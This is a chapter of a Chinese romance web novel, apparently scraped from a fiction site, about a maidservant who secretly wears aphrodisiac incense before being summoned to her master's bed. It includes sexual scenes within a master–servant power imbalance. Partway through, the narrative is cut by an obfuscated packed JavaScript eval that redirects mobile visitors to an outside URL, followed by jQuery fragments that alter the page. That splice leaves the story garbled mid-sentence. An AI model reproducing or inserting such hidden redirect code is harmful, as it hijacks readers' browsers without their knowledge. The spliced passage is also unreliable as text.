12. 依兰香

    落日余晖,街上行人熙熙攘攘,依旧没有减少的迹象。


    是了,云若记得京城是有夜集的。每当夜幕降临,京城白日里的有序肃穆褪去,沿街的商铺开始准备点灯揽客。


    劳累了一天的人们,茶余饭后若是无事可做,便可出来走上一走,全当消遣,人一多,衬得京城都比白日里更热闹喧嚣。


    从青云巷出来后,世子没让她关窗,她就没主动关上,趁此机会看一看京城别处的样子。


    远远的,云若就瞧见前面有个铺子,不知道卖的什么东西,店门口都排上了人。


    陆执突然叫停马车,吩咐左行去买东西,五芳斋的栗黄酥。


    云若的视线跟随左行,见他穿过街道,往她刚刚看见的那个铺子去了。


    左行并没有和旁人一样在门口排队等待,他直接踏门而入。


    云若抬眼就看到门檐上那块中规中矩的黑赤色的牌匾,上面题下的三个烫金色的字已经有点褪色,看上去这家店怎么也应该是个十年老店了。


    不知怎的,云若开始不由自主在脑海里描摹这几个字,嘴里喃喃复念,希望把它们记住。


    许是回府路上,她一直安静待着,陆执蓦地有些不习惯了,一路上他的注意力不时就会落在她身上。


    只见此时的她趴在窗边看着外面出神,眼里闪烁着她自己都未曾察觉的亮光,让旁人看了都莫名感受到向往的希冀。


    顺着她的目光,陆执看到了让她如此模样的东西。


    陆执倾身上前,一手搭在窗沿上,全然不知从外面的角度看上去,他这个姿势像是把人圈在怀里似的。


    他另一只手从右往左,指着三个字一字一顿又给她念了一遍:“五、芳、斋,记得了吗?不然日后让你买东西,你找不到地方。”


    云若肯定地点点头:“嗯,奴婢记得了。”


    感受到世子的气息萦绕在她的头顶,云若僵着脖子缓缓转过头。


    她瞬间落进世子深邃的眸中,里面是云若只在第一晚见过的无边欲色。


    “今夜侍寝,回府收拾好了就过来,记得了吗?”


    世子此刻的模样就像她村里那些想勾引汉子的寡妇,若是这幅样子被那汉子的媳妇看到,必然是要扯着嗓子叫“臭不要脸的狐狸精”。


    云若觉得世子现在活脱脱就像一只男狐狸精,恐怕自己再多看一眼就会瘫软在这,她别开视线,眼神四处乱晃,不知道该落在哪里。


    “记得了吗?”


    见她垂眸不语,陆执又问了一遍,这次的声音比上次更加低沉,魅惑。


    云若连忙点头,如小鸡啄米般:“记得了。”


    “世子,我回来了!”


    左行推开车门,见世子依旧悠然坐在上方,云若倒是换了边坐,脸上还有未褪去的粉意。


    左行全然没察觉两人之间微妙的气息,他只一味不解:再过一会儿天都要黑了,云若怎么还这么热。


    手里糕点的热气把他的思绪拉回,他举起手中的油纸,乐道:“掌柜特地给的刚出炉的,世子您快尝尝。”


    陆执不咸不淡地“嗯”了声。


    云若接过,打开后呈到他面前,陆执拿起一块尝了一口,微微蹙眉,说了一句:“好腻。”


    然后推开云若的手,“你们分了吃吧。”


    云若心想,这糕点看起来就很好吃,而且刚才看那家店宾客往来,味道必然是不差的,世子居然还不喜欢,看来左行说得没错,世子确实太挑嘴了,那自己那点手艺,世子应该也是看不上的。


    云若心里这么嘀咕,嘴上还是不忘规矩:“谢世子。”


    她本想把糕点包起来,等回府了再吃,陆执却打断了她的动作:“五芳斋的东西,要趁热吃。”


    云若手上一顿,转过身和左行、车夫一人分了几块。


    她咬下一口,先是栗子的清甜盈满口鼻,入口细腻,吃到最后还有豌豆淡淡的豆香回荡,一扫栗子的久甜,满口清新。


    这么解腻可口的小吃,世子居然还觉得腻,她好像隐隐约约知道世子大概喜欢什么口味了。


    “世子,我明白了。”


    她突如其来的一句明白了,倒把陆执说得一怔,看她一脸认真,他忍不住笑问:“明白什么了?”


    “我大概知道世子喜欢什么口味的点心了,我下次会努力学着做出来的。”


    陆执轻笑一声,没有说话。


    傻气,他喜欢什么口味?她手里拿的那个,就是他最喜欢的点心。


    一旁的左行边吃糕点边在心里默默祈求自己的祖宗,保佑他下次还能沾云若的光吃上五芳斋的栗黄酥。


    **


    回府之后,世子没让她再在跟前伺候,只留给她一个意味深长的眼神,云若忙不迭地回了自己的屋子。


    今日奔波了一天,云若也出了一身汗,她自己烧了水把身上洗得干干净净,然后换上新洗的衣裳,她坐在镜子面前替自己梳妆。


    本想打开小抽屉拿里面放着的新发带,却见里面躺着一个手心大小的盒子,外面描着错综复杂的大红的牡丹花,非常显眼。


    这还是她第一天来院子,害怕被人发现她身上有这种东西,就把它收了起来。


    想着给她这香的赵嬷嬷说,若是自己受不住的时候,可试试这香,保准她身心畅快。


    她打开盒子闻了闻,香味虽然浓郁,但抹开后就会幽然飘散,不易察觉。


    其实她也不是受不住,只是世子弄得太久了,饶是她从小干农活,身子比一般人家的姑娘有力些,也抵不过世子的体力。


    想着今日世子也奔波了一天,肯定比较疲惫,不如就借这香让世子动作快些,这样都好早点歇息。


    这么想着,她出门前把香涂在了耳后和手腕上,才将抹开,一股清幽的香味便萦绕身侧,隐隐勾得人心痒痒。


    看天色不早了,云若收拾好就去了世子屋里。


    这个时辰,世子少见地没有待在书房,他现在正斜靠在矮榻上,手里拿的还是书,但不再是密密麻麻的字,而是一些山水风景图,整个人是难得的慵懒姿态。


    屋里屋外的人早就被他遣退,云若进来的时候,连左行都没瞧见。


    见她进来,陆执放下手中的书,对她招招手,勾唇一笑:“过来。”


    明明世子现在和平常无二,眸子里也不似白日里那般布满欲色,反而宁静得如湖水一般,可云若就是看出了他温柔之下的缠绵,她感觉自己被柔软的水浪推着往他身边去。


    “好香啊。”走近了些后,陆执就闻到了她身上若有若无的清香,与她平时的味道不同。


    他还什么都没做,眼前的人小脸就已经通红。他搂着她的腰,让她贴着自己坐下。


    下颌抵着她的脑袋,发间还是她自己的味道:“这香虽然不错,但我还是喜欢你原来的味道,下次伺候不用抹别的香了。”


    怀里的人点了点头,闷闷地应了一声。


    细碎的发丝轻抚他的脸,痒痒的。


    或许是离上次开荤已经有一段时间了,他食髓知味,如今怀中的香软一呼一吸都隔着单薄的衣裳喷在他胸膛,他一向引以为豪的定力今日很快就溃散了。


    床榻就在几步开外,他都觉得走过去浪费时间,就在这矮榻边把人剥开了。


    约莫半柱香后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113596|163712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,陆执发觉有点不对劲,体内的燥热升得太快,他几乎快要抑制不住,回想今夜与那晚不同之处,只有那香!


    云若正混沌着,世子突然一把抓起她的手腕,低头凑近,灼热的气息喷在手上。


    陆执轻轻嗅了嗅,再抬眸时,眼底晦暗不明:“你今日用的什么香?”


    世子握着她腕子的手微微收紧,一丝痛觉生起,她看着世子的样子,直觉告诉她,不能骗他,于是她只能如实交代:“是……依兰香。”


    见她如此实诚,陆执压低身子,迫她看向自己:“依兰香?你可知它是何物?”


    赵嬷嬷说过这香能助兴,让闻者比平时更快达到最高兴致,所以……


    云若眼里早已氤氲热气,看不清世子的面容,她隐去赵嬷嬷,把自己的真实想法一字不落告诉了陆执。


    听完她的话,陆执怔了一下,这人真是让人哭笑不得。


    陆执好似看见一只懵懂的小羊在老虎跟前展示自己浑身雪白的绒毛,还毫无防备地邀请老虎摸摸它的柔软。


    不过他还是抓住了她话语的漏洞:“谁告诉你此香的用途是如此的?”


    所幸她敏锐地察觉了陆执话里的警惕,她不能说实话,但她也编不出话来骗世子,支支吾吾半天,答不出来。


    陆执不想她就这么糊弄过去,一下一下折腾她。


    “谁?”


    此时的情意早不似方才那般缠绵,云若怕世子深究,紧张之下,之前学的东西一下子想起来了,于是她主动攀上陆执的肩,轻舐世子的耳廓,娇娇地叫了他一声:“世子爷……”


    婉转妩媚,虽然青涩,但是勾得人心痒难耐。


    陆执浑身僵了一瞬。不曾想来的不是只羊,是只还未涉世的小狐狸。


    罢了,左不过是一个什么都不懂的小丫鬟。


    他深吸一口气压制体内的燥热,一只手托住她的脑袋,按进自己的颈间,薄唇贴着她的耳垂,每个字都比平时说话咬得重一些:“不管是谁教你的,你只需记住,本世子不需要用这些东西……”


    不过几个来回,云若便没了力气,手耷拉着往下滑,陆执一把抓住她的手勾住自己。


    劳作半宿,世子精力不仅没有消减反倒愈发旺盛。


    云若终究败下阵来,她艰难开口求饶:“世子……奴婢……好困……”


    一句话断断续续,硬生生换了三口气才说完整。


    陆执轻咬她颈间细嫩的肉,像是在泄愤:“你自己用的香,自己受不住?”


    云若不知道这个香的助兴是这个意思,她直骂自己没脑子,老实同他认错:“奴婢,知错了……”


    听着她泫然欲泣的声音,陆执终究还是心软了,他轻吻她的锁骨,柔情似水,半哄着她:“快了,再坚持一会儿,好不好?”


    云若觉得她一定是坏掉了,不然怎么从世子的话里听出几分乞求的意味来。世子是她的主子,想要什么都是一句话的事,怎么还需要求她这个下人,这不合规矩……


    云若这么想着,迷迷糊糊回了一句:“好……”


    陆执听清她的呢喃,发出轻笑。他把人紧紧拥住,像要把人揉进他的身体里,与他融为一体。


    云若一阵短促的喘息后,瘫倒在陆执怀里。


    本来以为结束了,她意识逐渐回笼,爬起来正要下床离开这里回自己的屋子,世子却又贴了上来。她的后背瞬间落进他炙热的胸膛。


    “世子……”云若一声绵长的呼喊被湮没在世子“再来一次”中。


    等陆执真正结束的时候,已经是后半夜了,最后她还是颤着腿回了自己的屋子,一回去就倒床呼呼大睡。